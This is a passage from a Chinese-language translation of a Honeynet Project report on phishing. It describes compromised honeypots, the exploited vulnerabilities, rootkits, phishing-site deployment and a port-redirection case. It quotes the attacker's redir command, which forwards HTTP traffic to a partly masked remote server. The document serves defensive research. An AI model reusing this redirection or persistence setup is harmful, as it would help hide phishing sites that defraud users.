<P>"Mole" mass scanner. </P>
<P>被利用的漏洞 </P>
<P>Wu-Ftpd File globbing heap corruption vulnerability ( CVE-2001-0550 ). </P>
<P>NETBIOS SMB trans2open buffer overflow ( CAN-2003-0201 ). </P>
<P>获得的访问权限 </P>
<P>Root. </P>
<P>Root. </P>
<P>安装的 Rootkit </P>
<P>Simple rootkit that backdoors several binaries. </P>
<P>SHV4 rootkit. </P>
<P>可能的攻击者 </P>
<P>未知 </P>
<P>来自罗马尼亚康斯坦萨的拨号 IP 网络的多个组织 </P>
<P>网站行为 </P>
<P>下载多个构建好的以 eBay 和多家美国银行为目标的钓鱼网站 </P>
<P>下载一个预先构建的以一家美国主要银行为目标的钓鱼网站 </P>
<P>服务器端后台处理 </P>
<P>用于验证用户输入的 PHP script </P>
<P>拥有更高级用户输入验证和数据分类的 PHP script </P>
<P>电子邮件活动 </P>
<P>企图发送垃圾邮件 ( example 1 , example 2 ), 但被 Honeywall 所拦截 . </P>
<P>仅测试了邮件发送，可能是给钓鱼者同伙， Improved syntax and presentation. </P>
<P>群发电子邮件方法 </P>
<P>从一个中量级 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script </P>
<P>从一个小量级的 Email 地址输入列表进行垃圾邮件群发的 Basic PHP script &#8211; 可能仅仅是一次测试。 </P>
<P>受害者是否到达钓鱼网站 </P>
<P>没有，垃圾邮件的发送和对钓鱼网站的访问被阻断 </P>
<P>有，在 4 天内有 265 个 HTTP 请求到达，但不是因为从服务器发出的垃圾邮件所吸引的(没有客户的个人信息被收集)。 </P>
<P>从对两个案例中钓鱼者的键击记录（使用Sebek捕获）的观察发现，攻击者在连接到已存在的后满后，立即开始工作，部署他们的钓鱼网站。这些攻击者的动作显示他们对服务器的环境非常熟悉，这也说明他们是前期攻陷这些蜜罐的组织中的成员，而且钓鱼攻击的整个企图也是非常明显且具有组织性的。从上传的网站内容经常指向其他的网站服务器和 IP 地址看来，很可能这些活动同时在多台服务器上同时在进行中。 </P>
<P>从对在这些案例中由攻击者下载的钓鱼网站内容的分析中可以明显的看出，钓鱼者在同时以多个知名的在线组织结构为假冒目标。预先精心构造、有官方标志的假冒钓鱼网站被例行性地部署到被攻陷的主机上－经常通过以不同的网页服务器根目录进行分离的&#8220;子站点&#8221;来同时架设多个组织结构的钓鱼网站，同时安装将垃圾邮件传播给潜在的受害者的必需工具。在英国蜜网项目组观察到的案例中，从FTP会话所列出的目录列表中可以确认这些攻击者已经很深的卷入垃圾邮件和网络钓鱼攻击中，预先构建的网站内容和邮件传播攻击被集中存放在一个集中的服务器上，并且看起来攻击的目标至少针对eBay、AOL和其他几个知名的美国银行。这些个别的网络钓鱼攻击看起来并不是隔离的单独的攻击事件，因为在这些案例中发布的垃圾邮件通常将受害者指向到几个同时存在的假冒网站服务器，同时这些垃圾邮件也同时是从多个系统中发出。从英国案例中蜜罐被攻击后第一个连入对钓鱼网站内容的HTTP请求也预示着并行的网络钓鱼攻击操作在进行。 </P>
<P>这个连入蜜罐的HTTP连接在攻击者在这台蜜罐主机上架设假冒的在线银行网站之前就已经发生，这确认了攻击者已经预先知道这台服务器可以被用来作为一个钓鱼网站的假设。在攻击者在架设这个钓鱼网站的同时，引诱受害者访问这个新钓鱼网站的垃圾邮件已经从另外一台主机上发出。 </P>
<P>我们对连入被攻陷的蜜罐请求假冒在线银行内容的HTTP请求连接的源IP地址数量和范围感到震惊。下面的图给出了在蜜罐从网络中断开前从各个IP地址访问钓鱼网站的HTTP请求的数目（包括每个IP单独计算和全部的HTTP请求）。 </P>
<P>访问英国蜜网项目组部署蜜罐上的钓鱼网站内容的源IP地址的顶层DNS域名、国家和主机操作系统的列表见 此页面 。要注意的是，在蜜罐被离线进行取证分析之前，尽管访问钓鱼网站的网页流量到达英国蜜网项目组部署的蜜罐，但并没有针对处理用户数据处理的 PHP 脚本的 HTTP POST 请求，因此在此次网络钓鱼攻击中，没有任何用户的信息被钓鱼者和我们获得。在本文提及的所有案例中，我们或是直接通报了目标机构关于攻击案例和任何相关的他们所需的相关数据，或是向当地的计算机应急响应组通报了所有相关的恶意行为。在所有案例中，没有任何受害者的私人信息被蜜网项目组和蜜网研究联盟的成员所捕获。</P>
<P>从这两个案例中的数据表明钓鱼者是非常活跃并且具有组织性的，在多个被攻陷的主机中快速地移动，并且同时以多个著名的组织结构为目标。同时数据也显示许多电子邮件用户被引诱访问假冒组织机构（如在线银行和商务网站）的钓鱼网站，网络钓鱼攻击已经给广大的互联网用户带来了安全风险。 </P>
<P>第二种网络钓鱼技术：通过端口重定向钓鱼 </P>
<P>在2004年11月，德国蜜网项目组部署了包含一个 Redhat Linux 7.3 蜜罐的经典 第二代蜜网 。虽然安装的是相当旧的操作系统版本，攻击者也能够非常容易就能攻破，但它令人惊讶地经过了两个半月后才被首次成功攻陷－这和以上提及案例中讨论的蜜罐快速被攻陷的情况形成显著的反差。更多关于此趋势的信息可以在&#8220;了解你的敌人&#8221;系列文章中的&#8220; 了解你的敌人：趋势分析 &#8221;中可以找到。 </P>
<P>在2005年1月11日，一个攻击者成功地攻陷了这台蜜罐，使用了针对 Redhat Linux 7.3 缺省安装存在的 OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability 的攻击脚本。此案例不寻常的是当攻击者获得被攻陷主机的访问权后，他并没有直接上传钓鱼网站内容。取而代之的是，攻击者在蜜罐上安装并配置了一个端口重定向服务。 </P>
<P>这个端口重定向服务被设计成将发往该蜜罐网站服务器的 HTTP 请求以透明的方式重新路由到另外一个远程的网站服务器，这种方式潜在地使得对钓鱼网站内容更难追踪。攻击者下载并在蜜罐上安装了一个称为 redir 的工具，此工具是一个能够透明地将连入的 TCP 连接转发到一个远程的目标主机的端口 重定向器。在此次案例中，攻击者配置该工具将所有到蜜罐 TCP 80 端口（ HTTP ）的流量重定向到一个位于 中国 的远程网站服务器的 TCP 80 端口。有意思的是，攻击者并没有在蜜罐上安装 Rootkit 以隐藏他的存在，这也说明攻击者并没有把被攻陷的主机的价值看的很重，同时并不担心被检测到。 </P>
<P>攻击者使用的建立端口重定向的指令如下： </P>
<P>redir --lport=80 --laddr= --cport=80 --caddr=221.4.XXX.XXX </P>
<P>另外，攻击者修改了 Linux 系统的启动脚本文件 /etc/rc.d/rc.local 从而保证 redir 端口重定向服务在蜜罐系统重新启动后也会被重新启动，提高了他们的端口重定向服务的生存能力。然后他们开始往外发送钓鱼垃圾邮件以引诱受害者访问此蜜罐，一个示例可以在 此 找到。（注意相关的敏感信息已经被混淆了）。 </P>
<P>为了进一步调查攻击者的活动，德国蜜网项目组的成员们干涉并偷偷摸摸修改了攻击者在蜜罐上安装的 redire 工具的配置，使其在 redir 程序内进行日志，使得更容易地观察到多少人接收到此垃圾邮件信息，并点击了其中的链接透明地访问重定向后的钓鱼网站内容。在将近 36 小时的时间段内， 721 个 IP 地址被 redir 重定向到钓鱼网站，我们又一次对这么多用户被发布的钓鱼邮件所引诱访问钓鱼网站内容而感到震惊。对访问端口重定向器的 IP 地址的分析可以在 这 找到（注意这些信息已经被清洁过，以保护访问钓鱼网站的用户，同时在我们的研究中仅记录了 IP 地址数据，任何机密性的用户数据没有被捕获）。 </P>
<P>本次攻击案例的一个概要时间线如下表所示： </P>
<P>日期 / 时间 </P>
<P>事件 </P>
<P>2004 年 11 月 1 日 </P>
<P>蜜罐受到首次扫描 </P>
<P>2005 年 1 月 11 日 19:13 </P>
<P>蜜罐上的 OpenSSL 服务被攻陷，端口重定向器被安装， 钓鱼垃圾邮件 被发送。 </P>
<P>2005 年 1 月 11 日 20:07 </P>
<P>对钓鱼网站内容的 网页请求 开始到达蜜罐。 </P>
<P>2005 年 1 月 13 日 8:15 </P>
<P>蜜罐被离线进行取证分析。 </P>
<P>第三种网络钓鱼技术：通过僵尸网络进行钓鱼 </P>
<P>蜜网项目组最近发布的一篇文章&#8220;了解你的敌人：跟踪 僵尸网络&#8221;介绍了一种追踪僵尸网络的方